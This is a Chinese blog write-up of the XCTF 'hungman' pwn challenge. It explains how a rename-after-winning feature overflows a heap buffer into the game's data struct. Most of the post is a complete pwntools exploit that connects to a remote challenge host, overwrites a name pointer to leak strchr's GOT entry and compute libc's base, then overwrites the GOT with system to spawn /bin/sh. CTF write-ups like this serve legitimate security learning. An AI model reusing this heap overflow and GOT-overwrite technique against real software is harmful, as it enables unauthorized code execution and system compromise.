XCTF-PWN-hungman题解

XCTF-PWN-hungman题解

分析

先chcksec pwn看一下保护

然后IDA64分析

Main函数指向两个sub函数我们先查看一下400F2D函数

输入名字,根据名字的长度申请堆

当打赢游戏的时候,更改游戏名字的时候会出现溢出

刚刚的堆依然还是那个,而我们的输入的内容可以变得更长,导致溢出到下一个堆块,而下一个堆块正式游戏数据的结构体,我们就可以篡改,改成函数的got表地址,再次打赢游戏,就能泄露信息,同理,再来一次,修改got表

而这个游戏是一个猜字母的游戏,并且这样记分数的

要猜的字母个数等于我们输入的用户名长度

如何我们输入的长度大于20的名字,然后从a到Z猜就一定可以取胜

下面开始编写EXP

漏洞利用思路及EXP

Exp:

from pwn import *
from LibcSearcher import *
import string

#sh = process('./hungman')
libc = ELF('/home/n0t3/top1/libc-2.23.so')
sh = remote('61.147.171.105',51587)
elf = ELF('/home/n0t3/top1/pwn')
strchr_got = elf.got['strchr']
system_s = libc.sym['system']
strchr_s = 0x89AB0

def winGame():
for x in string.ascii_lowercase:
ans = sh.recv()
if b'High score! change name?' in ans:
break
if b'Continue?' in ans:
sh.sendline(b'y')
#print ans
sh.sendline(x)
sleep(0.2)

sh.sendlineafter(b"What's your name?",b"a"*0x30)
winGame()


sh.sendline(b'y')
sleep(0.5)
payload = b'b'*0x30
#溢出到结构体的内存位置处
payload += p64(0) + p64(0x91)
#score name_len
payload += p32(0x100) + p32(0x100)
#name buf
payload += p64(strchr_got)

sh.sendline(payload)
sh.recvuntil(b'Highest player: ')
strchr_addr = u64(sh.recvuntil(b' score:',drop = True).ljust(8,b'\x00'))
libc_base = strchr_addr - strchr_s
system_addr = libc_base + system_s
print('libc_base=',hex(libc_base))
print('system_addr=',hex(system_addr))

sh.sendlineafter(b'Continue?',b'y')
winGame()
sh.sendlineafter(b'High score! change name?',b'y')
sleep(0.2)
sh.send(p64(system_addr))

sh.sendlineafter(b'Continue?',b'y')
winGame()
sh.sendline(b'y')
sleep(0.5)
sh.sendline(b'/bin/sh')

sh.interactive()

posted @ 2023-07-07 11:21  N0t3  阅读(13)  评论(1编辑  收藏  举报